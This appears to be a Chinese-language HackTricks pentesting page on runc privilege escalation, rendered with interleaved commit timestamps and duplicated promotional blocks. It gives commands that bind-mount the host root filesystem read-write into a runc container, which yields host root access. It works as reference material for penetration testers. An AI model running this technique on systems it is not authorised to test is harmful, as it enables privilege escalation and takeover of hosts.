2024-01-06 23:17:33 +00:00
|
|
|
# RunC 权限提升
|
2022-04-28 16:01:33 +00:00
|
|
|
|
2024-07-19 04:51:22 +00:00
|
|
|
{% hint style="success" %}
|
|
|
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
|
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
2024-07-19 04:51:22 +00:00
|
|
|
<details>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
2024-07-19 04:51:22 +00:00
|
|
|
<summary>支持 HackTricks</summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
2024-07-19 04:51:22 +00:00
|
|
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
|
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
</details>
|
2024-07-19 04:51:22 +00:00
|
|
|
{% endhint %}
|
|
|
|
{% endhint %}
|
|
|
|
{% endhint %}
|
2022-04-28 16:01:33 +00:00
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
## 基本信息
|
2021-01-03 00:43:09 +00:00
|
|
|
|
2024-07-19 04:51:22 +00:00
|
|
|
如果你想了解更多关于 **runc** 的信息,请查看以下页面:
|
2021-01-03 00:43:09 +00:00
|
|
|
|
2022-05-01 13:25:53 +00:00
|
|
|
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %}
|
|
|
|
[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md)
|
2021-10-18 11:21:18 +00:00
|
|
|
{% endcontent-ref %}
|
2021-01-03 00:43:09 +00:00
|
|
|
|
2022-05-01 13:25:53 +00:00
|
|
|
## PE
|
2021-01-03 00:43:09 +00:00
|
|
|
|
2024-07-19 04:51:22 +00:00
|
|
|
如果你发现 `runc` 已安装在主机上,你可能能够 **运行一个挂载主机根 / 文件夹的容器**。
|
2021-01-03 00:43:09 +00:00
|
|
|
```bash
|
|
|
|
runc -help #Get help and see if runc is intalled
|
|
|
|
runc spec #This will create the config.json file in your current folder
|
|
|
|
|
|
|
|
Inside the "mounts" section of the create config.json add the following lines:
|
|
|
|
{
|
2023-08-03 19:12:22 +00:00
|
|
|
"type": "bind",
|
|
|
|
"source": "/",
|
|
|
|
"destination": "/",
|
|
|
|
"options": [
|
|
|
|
"rbind",
|
|
|
|
"rw",
|
|
|
|
"rprivate"
|
|
|
|
]
|
2021-01-03 00:43:09 +00:00
|
|
|
},
|
|
|
|
|
|
|
|
#Once you have modified the config.json file, create the folder rootfs in the same directory
|
|
|
|
mkdir rootfs
|
|
|
|
|
|
|
|
# Finally, start the container
|
|
|
|
# The root folder is the one from the host
|
|
|
|
runc run demo
|
|
|
|
```
|
2021-03-10 17:43:53 +00:00
|
|
|
{% hint style="danger" %}
|
2024-07-19 04:51:22 +00:00
|
|
|
这并不总是有效,因为 runc 的默认操作是以 root 身份运行,因此以非特权用户身份运行根本无法工作(除非你有无根配置)。将无根配置设为默认通常不是一个好主意,因为在无根容器内有相当多的限制,而这些限制在无根容器外并不适用。
|
|
|
|
{% hint style="success" %}
|
|
|
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
|
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
2021-03-10 17:43:53 +00:00
|
|
|
|
2022-04-28 16:01:33 +00:00
|
|
|
<details>
|
|
|
|
|
2024-07-19 04:51:22 +00:00
|
|
|
<summary>支持 HackTricks</summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
2024-07-19 04:51:22 +00:00
|
|
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
|
|
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
</details>
|
2024-07-19 04:51:22 +00:00
|
|
|
{% endhint %}
|
|
|
|
</details>
|
|
|
|
{% endhint %}
|
|
|
|
</details>
|
|
|
|
{% endhint %}
|